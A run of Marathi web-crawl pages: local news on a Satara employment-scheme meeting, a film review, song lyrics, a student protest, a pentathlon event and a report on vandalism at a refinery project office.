तसेच उपस्थित राहिलेल्या सरपंच, उपसरपंचांना माहिती पत्रिकाही दिल्या गेल्या नाहीत. त्यामुळे या सभेचा बोऱयाच वाजला गेला. दरम्यान, उपजिल्हाधिकारी संजय पाटील आणि तहसिलदार नीलप्रसाद चव्हाण यांनी लोकप्रतिनिधींना विश्वासात घेवून कामे करा, असे स्पष्ट आदेशच त्यांनी या सभेत दिले.\nसातारा तालुक्याची महात्मा गांधी रोजगार हमी योजनेच्या अनुषंगाने सभा घेण्यात आली. या सभेला पंचायत समितीचे सभापती मिलिंद कदम, उपसभापती जितेंद्र सावंत, जिल्हा परिषदेच्या सदस्या अर्चना देशमुख, रेश्मा शिंदे, पंचायत समितीचे सदस्य राहुल शिंदे, सरिता इंदलकर यांच्यासह उपजिल्हाधिकारी संजय पाटील, तहसीलदार नीलप्रसाद चव्हाण यांच्यासह तालुक्यातील सरपंच, उपसरपंच यांनी हजेरी लावली होती.\nसंजय पाटील म्हणाले, पाणंद रस्त्यावर जेथे जेथे दोन्ही बाजूला शेतकऱयांची अतिक्रमणे आहेत. त्या अतिक्रमणाधारकांना नोटीसा बजावा, अन् पाणंद रस्ते खुले करा. हद्दी पुर्वीच ठरलेल्या आहेत. कुठे दगड आहेत, कुठे कुंपण आहे. इस्लामपुर येथे मी 143 किलोमीटरचे पाणंद रस्ते जेसीबी मशिनवर बसून करुन घेतले होते. येथेही तसेच करावे लागले. नोटीसा बजावा सातारा तालुक्यातील सर्व पाणंद रस्त्यांची कामे मार्गी लावण्याची शासनाची जबाबदारी आहे, असे सांगितले.\nतहसीलदार नीलप्रसाद चव्हाण म्हणाले, स्थानिक लोकप्रतिनिधींना विश्वासात घेवून पाणंद रस्ते खुले करताना कसलीही अडचण येत नाही. मी काही ठिकाणी पाहणी करायला गेलो. नकाशाचा प्रश्न असतो. मोजणीचे पैसे भरण्याचा वाद पुढे येतो. माझ्या कोर्टात केसेस येतात. त्यामध्ये वेळ जातो. त्यासाठी गावपातळीवर हे वाद तडजोडीने मिटल्यास दोन्ही बाजूंचा वेळ आणि अर्थ वाचतो. वेणेगाव येथे रस्ता तयार करताना अडचण आली होती. ती सोडवली गेली, असे त्यांनी सांगितले.\nमहात्मा गांधी रोजगार हमी योजनेच्या माध्यमातून काय काय करता येते, याची माहिती चित्रफितीद्वारे उपस्थितांना देण्यात आली. मात्र, सरपंच, उपसरपंच यांनाच माहिती पुस्तिका दिली नसल्याने पुढे काय सांगितले जाते हेही पाठीमागे बसलेल्यांना समजत नव्हते. उपस्थितांची नोंदणीही करण्यात आली नव्हती. त्यामुळे या सभेचा केवळ फार्सच ठरल्याची जोरदार चर्चा सुरु होती.\nआम्हाला सभेची नोटीस 12 वाजता मिळाली\nया सभेला जिल्हा परिषदेच्या महिला व बालकल्याण सभापती वनिता गोरे यांनाच या सभेचे निमंत्रणच पोहचले नव्हते. मिटींग सुरु होण्यापूर्वी 11.30 वाजता त्यांना फोन गेल्यानंतर ही बाब समजली. तेव्हा त्यांनी नोटीस पोचली नसल्याचे सांगितले तेव्हा त्यांना 12 वाजता सभेची नोटीस मिळाली. यावरुन लोकप्रतिनिधींच्याबाबतीत संयोजकांच्यावतीने असाच प्रकार झाल्याचे समजते.\nशाहूपुरीत काहींना मंगळ तर काहींची चंगळ\nम्हसवड आरोग्य विभागाने पटकावले आठ पुरस्कार\nरेशनिंग दुकानदारांच्या मोर्चास उत्सफूर्त प्रतिसाद\nकोरेगावात भर बाजारपेठेतील साडी दुकानात धाडसी चोरी\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00336.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/entertainment/movie-reviews/movie-review-of-marathi-moive-party/moviereview/65712388.cms", "date_download": "2018-09-25T18:05:52Z", "digest": "sha1:Q2QJI2M5D7EXSLJYD2MI6RVU5FYEN7CM", "length": 33162, "nlines": 225, "source_domain": "maharashtratimes.indiatimes.com", "title": "Party review, पार्टी सिनेरिव्ह्यू, Party movie review in Marathi", "raw_content": "\nकोहली, मीराबाई खेलरत्न पुरस्कारान..\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलि..\nपती दिसायला सावळा, पत्नीने किस कर..\nमेणबत्तीच्या प्रकाशात रुग्णांना त..\nतामिळनाडूतील हा अवलिया काय करतोय ..\n'काश्मीरमधील हिंसाचार थांबायला पा..\nइब्राहिम अफगाण, महाराष्ट्र टाइम्स, Sat,8 Sep 2018 06:21:47 +05:30\nवाचकांचे रेटिंग :2 / 5\nतुमचे रेटिंग द्या1 (टाकाऊ)1.5 (अगदी वाईट)2 (वाईट)2.5 (थोडा बरा)3 (बरा)3.5 (चांगला)4 (खूप चांगला)4.5 (छान)5 (झकास)\nतुम्ही या सिनेमाला रेटिंग दिलेलं आहे\nकलावंतसुव्रत जोशी,अक्षय टंकसाळे,स्तवन शिंदे,रोहित हळदीकर,प्राजक्ता माळी,मंजिरी पुपाला\nदिग्दर्शक सचिन सुरेश दरेकर\nआयुष्य एक पार्टी आहे आणि त्याचा प्रत्येक क्षणी आनंद घ्यायचा, असे म्हणणाऱ्या परंतु पार्टी म्हणजे लोकांना फसवून त्यांच्या पैशांनी दारू पिणे एवढेच कळलेल्या मुंबईतल्या चाळ संस्कृतीतील कट्ट्यावरच्या मित्रांबद्दल पार्टी हा सिनेमा आहे. सुमारे अठरा वर्षांपूर्वी, मुली पटवत, घरच्यांना फसवून आणि लोकांना टोप्या घालून दारू पीत एकत्र वाढत असलेल्या चार पाच मित्रांची ही कथा त्याग आणि दुरावा दाखवते. मित्र नंतर आपापल्या आयुष्यात पुढे आणि एकमेकांपासून दूर जातात आणि त्याचे काय दुष्परिणाम होतात, याबद्दल हा सिनेमा आहे. मात्र किस्से आणि कहाणी यातील फरकापासून मेकपपर्यंत कोणत्याही गोष्टींचे गांभीर्य न बाळगल्याने ही पार्टी काही रंगलेली नाही. छोटी पार्टीही उत्तम प्रकारे पार पाडण्यासाठी तपशीलवार मेहनत घ्यावी लागते, याची आयोजकांना कल्पना नसावी.\nसिनेमा म्हणजे नाच, गाणे, नाट्य याची गुंफण अशीही व्याख्या मसाला चित्रपटांच्या बाबतीत केली जाते. मसाला चित्रपट सुरू होऊन चार दशके उलटून गेल्याने लोकांचे खूप काही पाहून झाले आहे. शिवाय, मुंबईच्या वीस पंचवीस वर्षांपूर्वीच्या संस्कृतीचीही पार्श्वभूमी पाहिलेली आहे, कट्टा, मित्रांची टोळी, त्यांची प्रेमप्रकरणे हेही पाहिले आहे. अर्थात म्हणून काही कोणी ती नव्याने मांडू नये, असे नाही. मात्र ते नव्याने मांडण्यासाठी जेवढी मेहनत करावी लागते, त्याचा पूर्णपणे अभाव दिसत असल्याने या चित्रपटात त्याचा अनुभव खूपच वरवरचा वाटतो.\nचित्रपटाला एक बांधीव कलेचा आकार असतो आणि त्यातील आशयाच्या मांडणीसोबतच, त्यात वापरल्या जाणाऱ्या सर्व कला आणि शास्त्रांना आवश्यक त्या प्रमाणात वापर करणेही आवश्यक असते. या आव्हानाची व्याप्ती न कळल्याने किंवा त्याकडे दुर्लक्ष झाल्याने कोणताही एक घोटीव अनुभव हा चित्रपट देत नाही. काही विनोदी प्रसंग सोडता बाकी चित्रपट पकड घेत नाही.\nअनेक फसलेल्या विनोदी चित्रपटांत आढळणारे समान कारण म्हणजे एक दोन किस्स्यांच्या आधारे चित्रपटाची कहाणी बेतण्याचा प्रकार तो येथेही दिसतो. चित्रपट पाहणाऱ्यांना दोन तास गुंतवून ठेवण्यासाठी विनोदी घटनांची माळ रचून चालत नाही, त्यात सकस नॅरेटीव्ह म्हणजे कथानिवेदनाची, तसेच योग्य घाटाची निवड आणि त्यातून पात्रांचा होणारा प्रवास रेखाटणे आवश्यक असते. सुरुवातीला काय असावे आणि मध्ये व शेवटी काय असावे, याकडेही लक्ष न दिले गेल्याने एरव्ही उत्तमपणे फुलवता येण्यासारखा विषय हातातून निसटला आहे.\nमैत्री हा सगळ्यांना स्पर्श करणारा विषय आहे. मात्र त्यातील सगळी माणसं जिवंत असतात, मित्र जसे अचानक दूर जात नाहीत तसे अचानक पुन्हा जवळही येत नाहीत. लांब जाणे आणि जवळ येणे यात शेकडो शक्यता असतात आणि तो प्रवास जितका वेदनादायक तितकाच कष्टपूर्वक असतो. त्या शक्यता तपासता आल्या असत्या, पात्रे आणि परिस्थिती बरोबरच प्रेक्षकांनाही नीट ओळखता आले असते तर काहीतरी वेगळे घडले असते.\n अगर फिल्म देख चुके हैं, तभी आगे पढ़ें, वरना फिल्म देखने से पहले ही आप जान जाएंगे फिल्म की पूरी कहानी क्लाइमैक्स के साथ\nटेक केअर गुड नाईट\nतुम्ही लिहिलेली प्रतिक्रिया थोड्याच वेळात आपोआप वेबसाइटवर लाइव्ह होईल. आम्ही फिल्टर लावले असल्यामुळे आक्षेपार्ह शब्द असलेल्या प्रतिक्रिया दिसणार नाहीत. तरीही एखादी आक्षेपार्ह प्रतिक्रिया आढळून आल्यास आम्ही ती वेबसाइटवरून काढून टाकू. जे वाचक आमचे नियम, अटी, गोपनीयतेचे धोरण अथवा साइटवर लागू होणाऱ्या इतर कोणत्याची धोरणाचे उल्लंघन करताना आढळल्यास त्यांना ब्लॉक करण्यात येईल.\nरजिस्टर लॉग-इन करायचे नसल्यास सांगा\nप्रतिक्रिया दिल्याबद्दल आपले धन्यवाद\nव्हेरिफिकेशनसाठी तुम्हाला एक ई-मेल पाठविण्यात आली आहे. कृपया त्या मेलमध्ये देण्यात आलेल्या लिंकवर क्लिक करा.\nमराठीत लिहा (इनस्क्रिप्ट)| मराठीत लिहा (इंग्रजी अक्षरांमध्ये) | Write in English | व्हर्चुअल की-बोर्ड\nसिनेमाला रेटिंग द्या: आपले रेटिंग द्या1 (टाकाऊ)1.5 (अगदी वाईट)2 (वाईट)2.5 (थोडा बरा)3 (बरा)3.5 (चांगला)4 (खूप चांगला)4.5 (छान)5 (झकास)\nतुम्ही या सिनेमाला रेटिंग दिलेलं आहे\nतुमची प्रतिक्रिया लाइव्ह होताच ई-मेलद्वारे तुम्हाला सूचना देण्यात येईलनियम व अटी\nतुम्ही लिहिलेली प्रतिक्रिया थोड्याच वेळात आपोआप वेबसाइटवर लाइव्ह होईल. आम्ही फिल्टर लावले असल्यामुळे आक्षेपार्ह शब्द असलेल्या प्रतिक्रिया दिसणार नाहीत. तरीही एखादी आक्षेपार्ह प्रतिक्रिया आढळून आल्यास आम्ही ती वेबसाइटवरून काढून टाकू. जे वाचक आमचे नियम, अटी, गोपनीयतेचे धोरण अथवा साइटवर लागू होणाऱ्या इतर कोणत्याची धोरणाचे उल्लंघन करताना आढळल्यास त्यांना ब्लॉक करण्यात येईल.\nप्रतिक्रिया दिल्याबद्दल आपले धन्यवाद\nव्हेरिफिकेशनसाठी तुम्हाला एक ई-मेल पाठविण्यात आली आहे. कृपया त्या मेलमध्ये देण्यात आलेल्या लिंकवर क्लिक करा.\nमराठीत लिहा (इनस्क्रिप्ट)| मराठीत लिहा (इंग्रजी अक्षरांमध्ये) | Write in English | व्हर्चुअल की-बोर्ड\nसिनेमाला रेटिंग द्या: आपले रेटिंग द्या1 (बोगस)1.5 (भंपक)2 (यथातथा)2.5 (टीपी)3 (चांगला)3.5 (उत्तम)4 (अतिउत्तम)4.5 (दर्जेदार)5 (सर्वोत्तम)\nआप इस मूवी को रेट कर चुके हैं\nतुमची प्रतिक्रिया लाइव्ह होताच ई-मेलद्वारे तुम्हाला सूचना देण्यात येईलनियम व अटी\nतुम्ही लिहिलेली प्रतिक्रिया थोड्याच वेळात आपोआप वेबसाइटवर लाइव्ह होईल. आम्ही फिल्टर लावले असल्यामुळे आक्षेपार्ह शब्द असलेल्या प्रतिक्रिया दिसणार नाहीत. तरीही एखादी आक्षेपार्ह प्रतिक्रिया आढळून आल्यास आम्ही ती वेबसाइटवरून काढून टाकू. जे वाचक आमचे नियम, अटी, गोपनीयतेचे धोरण अथवा साइटवर लागू होणाऱ्या इतर कोणत्याची धोरणाचे उल्लंघन करताना आढळल्यास त्यांना ब्लॉक करण्यात येईल.\nया प्रतिक्रियेवर तुमचा आक्षेप आहे का\nखाली दिलेल्या कारणांपैकी कोणतेही एक कारण निवडा आणि 'आक्षेपार्ह' बटनलर क्लिक करा. तुमची तक्रार आमच्या मॉडरेटरपर्यंत लगेच पोहचवली जाईल. त्यांना आक्षेप योग्य वाटल्यास ही प्रतिक्रिया काढून टाकण्यात येईल.\nविशिष्ट समाजाविरुद्ध भडकावण्याचा प्रयत्न\nआपला आक्षेप संपादकांपर्यंत पोहचवण्यात आला आहे\nश्रद्धा कपूर साकारणार सायनाची भूमिका\n'मोगॅम्बो'चा नातू बॉलिवूडमध्ये येतोय\n'कुछ कुछ होता हैं'तील छोट्या अंजलीचा हॉट लूक\nधनंजय माने आजही मराठी माणसाच्या हृदयात\nक्युट तैमूर, इनायाची सगळ्यांनाच भुरळ\nदिग्दर्शिका कल्पना लाज्मी यांचं निधन\nचाळिशीनंतरही 'या' अभिनेत्रींनी लग्न केलं नाही\nसलमानच्या चित्रपटाविषयी काजल 'हे' काय म्हणाली\n'सुई धागा'च्या निमित्तानं वरुण-अनुष्काची धम्माल\nकरीनाच्या 'झिरो फिगर'चं रहस्य\nतुम्हारी सुलू: गोष्ट तुमच्या-आमच्या सुलूची\n'येरे येरे पैसा' - धमाल अॅक्शन ड्रामा\nअभिनेता प्रफुल्ल भालेरावचं अपघातात निधन\nअभिनेता विकास समुद्रेला ब्रेन हॅमरेज; प्रकृती गंभीर\nश्रीदेवींच्या अंत्ययात्रेवेळी जॅकलीन हसत होती\nUsha Jadhav: 'मलाही सेक्ससाठी विचारलं होतं'\nआर्थिक चणचण, पॅरिसमध्ये मल्लिका रस्त्यावर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00336.warc.wet.gz", "language": "mr", "language_score": 0.68, "bucket": "all"} {"url": "http://www.ganimarathi.com/2011/12/blog-post_22.html", "date_download": "2018-09-25T17:56:09Z", "digest": "sha1:IW7FK3WUXODSQIZ25IUQRK2PI7L5KNP6", "length": 5036, "nlines": 152, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: सजवून साज जशी", "raw_content": "मराठी कविता आणि गाणी\nसजणी तू रंग बावरी ||२||\nसजणा मी सांज सावळी\nनजर तुझी हि प्रिया वेड लावी\nभिरभिरते मी अशी भोवताली\nगो-या गो-या गालावरी आज लाज आली\nअवखळ डोळ्यात या प्रीत गीत झाली\nकशी भूल जीवाला या पडते\nछेडी कोणी तार जशी..\nसजणी तू रंग बावरी\nदव हळवे मी धुके धुंद व्हावे\nबिलगून राणी तुला पांघरावे\nविसरून थांग सावली तुझीच व्हावे\nअलगद वाटेने तुझ्यात मी भिनावे\nसजणी तू रंग बावरी\nसजणा मी सांज सावळी\nचित्रपट : आता ग बया\nसंगीत : अजय अतुल\nस्वर : हरिहरन, महालक्ष्मी अय्यर\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00337.warc.wet.gz", "language": "mr", "language_score": 0.66, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/SFI-strike-in-solapur/", "date_download": "2018-09-25T16:57:01Z", "digest": "sha1:D6FUP3LDYVY4JR2BEUX5RSLWO4RLQHNR", "length": 7128, "nlines": 51, "source_domain": "www.pudhari.news", "title": " एसएफआयतर्फे धरणे आंदोलन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › एसएफआयतर्फे धरणे आंदोलन\nस्टुडंटस् फेडरेशन ऑफ इंडियाच्या वतीने (एसएफआय) मंगळवारी विविध शैक्षणिक मागण्यांसाठी जिल्हाधिकारी कार्यालयासमोर धरणे आंदोलन करण्यात आले.\nएसएफआयतर्फे 1 ते 12 डिसेंबरदरम्यान राज्यभरात शिक्षण हक्‍क मोहीम राबविण्यात येत आहे. यादरम्यान विद्यार्थ्यांच्या शैक्षणिक मागण्यांकडे शासनाचे लक्ष केंद्रीत करण्यासाठी राज्यभर विविध ठिकाणी आंदोलने करण्यात येत असून याचाच एक भाग म्हणून मंगळवारी एसएफआयच्या वतीने जिल्हाधिकारी कार्यालयासमोर धरणे आंदोलन करण्यात आले.\nयावेळी दिलेल्या निवेदनात राज्यातील 1300 शाळा बंद करण्याचा निर्णय मागे घ्यावा, जिल्ह्यातील सर्व शाळा व महाविद्यालयांतील विद्यार्थ्यांना मूलभूत सुविधा (स्वच्छ पिण्याचे पाणी, शौचालय, ग्रंथालय, खेळाचे व प्रात्यक्षिक साहित्य इ.) उपलब्ध करून द्या, व्यावसायिक अभ्यासक्रमाच्या ओबीसी-एनटी व इतर प्रवर्गातील विद्यार्थ्यांची बंद केलेली शिष्यवृत्ती पूर्ववत सुरू करा, खुल्या प्रवर्गातील आर्थिकदृष्ट्या मागास विद्यार्थ्यांना शिष्यवृत्ती लागू करा, नितीन आगे या विद्यार्थ्याच्या हत्येप्रकरणी राज्य शासनाने कोर्टात जाऊन त्याला व कुटुंबीयांना न्याय मिळवून द्यावा, आयटीआय परीक्षेतील नकारात्मक गुणपध्दती रद्द करून प्रश्‍नपत्रिका मराठीतून द्यावी, प्रत्येक शाळा-महाविद्यालयांमध्ये महिला तक्रार निवारण समिती स्थापन करून प्रभावी अंमलबजावणी करावी आदी मागण्यांसाठी जिल्हाधिकारी कार्यालयासमोर धरणे आंदोलन केले.\nयावेळी राज्य उपाध्यक्ष दत्ता चव्हाण, जिल्हा सचिव मीरा कांबळे, जिल्हाध्यक्ष मलेशम कारमपुरी, राज्य कमिटी सदस्य किशोर झेंडेकर, राहुल जाधव, शामसुदंर आडम, नम्रता निली, रामकृष्ण ताटीपामूल, साहेबलाल हिरापुरे, गणेश भोईटे, पल्लवी मासन, शहनवाज शेख, मुस्तफा बागवान आदी उपस्थित होते.\nसुशीलकुमार यांनी निवडणूक लढण्यास बरडे यांचे साकडे\nशेतकर्‍यांना 227 कोटींची कर्जमाफी\nमहावितरण कार्यालयात प्रहारचे भजन आंदोलन\nनिलमनगरात दीड लाखांची घरफोडी\nसोलापूर विद्यापीठाच्या प्रगतीमध्ये डॉ. मालदार यांचा सिंहाचा वाटा\n‘जीआयएस’ सर्व्हेत 8500 मिळकती ‘रिफ्यूज्ड’\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00337.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/modern-pentathlon-competition-in-pune/", "date_download": "2018-09-25T17:25:28Z", "digest": "sha1:OUJENVGQUCNVRBEVAUBIQZTZQDHAGCO4", "length": 10038, "nlines": 60, "source_domain": "mahasports.co.in", "title": "८ व्या मॉडर्न पेंटॅथलॉन राष्ट्रीय विजेतेपद स्पर्धेचे पुण्यात आयोजन -", "raw_content": "\n८ व्या मॉडर्न पेंटॅथलॉन राष्ट्रीय विजेतेपद स्पर्धेचे पुण्यात आयोजन\n८ व्या मॉडर्न पेंटॅथलॉन राष्ट्रीय विजेतेपद स्पर्धेचे पुण्यात आयोजन\nपुणे : मॉडर्न पेंटॅथलॉन फेडरेशन आॅफ इंडियातर्फे ८ व्या मॉडर्न पेंटॅथलॉन राष्ट्रीय विजेतेपद स्पर्धेचे आयोजन करण्यात आले आहे. ११ आणि १२ आॅगस्ट २०१७ दरम्यान बालेवाडी येथील शिवछत्रपती स्पोर्टस् कॉम्प्लेक्समध्ये ही स्पर्धा होणार आहे. यावर्षी सप्टेंबरमध्ये स्पेन येथे होणाºया जागतिक बायथले आणि ट्रायथले स्पर्धेसाठी खेळाडूंची निवड या स्पर्धेतून होणार आहे, अशी माहिती मॉडर्न पेंटॅथलॉन फेडरेशन आॅफ इंडियाचे अध्यक्ष सुनील पुर्णपात्रे यांनी दिली.\nस्पर्धेचा उद्घाटन समारंभ शुक्रवार दिनांक ११ आॅगस्ट रोजी होणार आहे. यावेळी मॉडर्न पेंटॅथलॉन फेडरेशन आॅफ इंडियाचे सचिव नामदेव शिरगावकर, प्रशिक्षक जितेंद्र खासनीस उपस्थित राहणार आहेत. स्पर्धेत धावणे आणि जलतरण या स्पर्धा होणार आहे. ८ वर्षांखालील ते ६० वर्षांवरील खेळाडू यामध्ये सहभागी होणार आहेत.\nसुनील पुर्णपात्रे म्हणाले, स्पर्धेतील ८ वर्षांखालील गटात २०० मीटर धावणे, ५० मीटर पोहणे आणि २०० मीटर धावणे, १३ वर्षांखालील गटात ४०० मीटर धावणे, ५० मीटर पोहणे आणि ४०० मीटर धावणे, १५ वर्षांखालील गटात ८०० मीटर धावणे, १०० मीटर पोहणे आणि ८०० मीटर धावणे, १७ वर्षांखालील गटात १२०० मीटर धावणे, २०० मीटर पोहणे, आणि १२०० मीटर धावणे, १९, २१ व ३९ वर्षांखालील गटात १६०० मीटर धावणे, २०० मीटर पोहणे आणि १६०० मीटर धावणे , मास्टर्स गटात (४० ते ५० वर्षांखालील) १२०० मीटर धावणे, २०० मीटर पोहणे आणि १२०० मीटर धावणे, ६० वर्षांखालील गटात ८०० मीटर धावणे,१०० मीटर पोहणे आणि ८०० मीटर धावणे तसेच अपंग गटात २०० मीटर धावणे, ५० मीटर पोहणे आणि २०० मीटर धावणे अशा स्पर्धा होणार आहेत.\nजितेंद्र खासनीस म्हणाले, स्पर्धा पूर्ण करणाºया प्रत्येक स्पर्धकाला पदक आणि प्रमाणपत्र देण्यात येईल. मागील ७ वर्षे महाराष्ट्राला सर्वसाधारण विजेतेपद मिळाले आहे. वेदांत गोखले, सवर अकुसकर, अर्जुन अडकर हे मागील वर्षीच्या जागतिक स्पर्धेतील विजेते स्पर्धेत सहभागी होणार आहेत. सौरभ पाटील, विराज परदेशी, अजिंक्य बालवडकर, प्रसाद भार्गव, पार्थ खराटे, जुई घम, आदिती पाटील या खेळाडूंमध्ये चुरशीची स्पर्धा पहायला मिळेल.\nस्पर्धेचा पारितोषिक वितरण समारंभ शनिवार दिनांक १२ आॅगस्ट रोजी दुपारी ४ वाजता होणार आहे. यावेळी बाळासाहेब लांडगे, जिल्हाधिकारी सौरभ राव, जिल्हा क्रीडा अधिकारी विजय संतान, एशियन मॉडर्न पेंटॅथलॉन फेडरेशनचे सचिव नामदेव शिरगावकर, सहकार आयुक्त डॉ. विजय झाडे उपस्थित राहणार आहेत.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00337.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/mumbai-mns-break-nanar-project-office/", "date_download": "2018-09-25T17:05:24Z", "digest": "sha1:ZUF2WEMGSRWOSE254NHJJKB2NM2OYLYR", "length": 9758, "nlines": 42, "source_domain": "www.pudhari.news", "title": " मनसेकडून नाणार प्रकल्प कार्यालयाची तोडफोड (Video) | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › मनसेकडून नाणार प्रकल्प कार्यालयाची तोडफोड (Video)\nमनसेकडून नाणार प्रकल्प कार्यालयाची तोडफोड (Video)\nमुंबई : विशेष प्रतिनिधी\nकाही झाले तरी कोकणात नाणार प्रकल्प होऊ देणार नाही, अशी स्पष्ट भूमिका महाराष्ट्र नवनिर्माण सेनेचे अध्यक्ष राज ठाकरे यांनी रविवारी घेतल्यानंतर मनसे प्रकल्पाच्या विरोधात आक्रमक झाली आहे. मनसेच्या कार्यकर्त्यांनी ताडदेव येथील नाणार प्रकल्पासाठी काम करणार्‍या रत्नागिरी पेट्रोकेमिकल लिमिटेडच्या कार्यालयाची तोडफोड केली. या तोडफोडीप्रकरणी मनसेच्या कार्यकर्त्यांविरोधात गुन्हे दाखल करण्यात आले आहे.\nमनसेचे पाच ते सहा कार्यकर्ते दुपारी साडेतीनच्या सुमारास रत्नागिरी पेट्रोकेमिकलच्या कार्यालयामध्ये घुसले. त्यांनी नाणार प्रकल्पाच्या विरोधात आणि ‘मनसे जिंदाबाद’च्या घोषणा देत तोडफोड करायला सुरुवात केली. कार्यालयातील खुर्च्या आणि दगडांच्या साहाय्याने तेथील काचा फोडल्या. पहिल्यांदा कार्यालयाच्या स्वागत कक्षाची मोडतोड केल्यानंतर मनसेच्या कार्यकर्त्यांनी आतील एका दालनाचीही तोडफोड केली. त्यानंतर हे कार्यकर्ते तेथून निघून गेले. पोलिसांनी या प्रकरणी गुन्हा दाखल केला आहे.\nदोन दिवसांपूर्वी नाणार ग्रामस्थांच्या संघर्ष समितीचे शिष्टमंडळ राज ठाकरे यांना भेटले होते. त्यानंतर रविवारी मुलुंड येथे झालेल्या जाहीर सभेत राज ठाकरे यांनी प्रकल्पाच्या विरोधात भूमिका घेतली होती. कुठल्याही परिस्थितीत नाणार प्रकल्प होऊ देणार नाही, असे त्यांनी ठणकावले होते. हवा तर प्रकल्प चंद्रावर घेऊन जा; पण कोकणात प्रकल्प राबवू देणार नाही, सरकारला काय करायचे ते करावे, असे राज ठाकरे म्हणाले होते. त्यांच्या या वक्‍तव्यानंतर मनसे आक्रमक झाली आहे. भाजप वगळता सर्वच राजकीय पक्षांनी नाणार प्रकल्पाच्या विरोधात भूमिका घेतली आहे. मात्र, मनसेने खळ्ळखट्याक आंदोलनाचा दणका 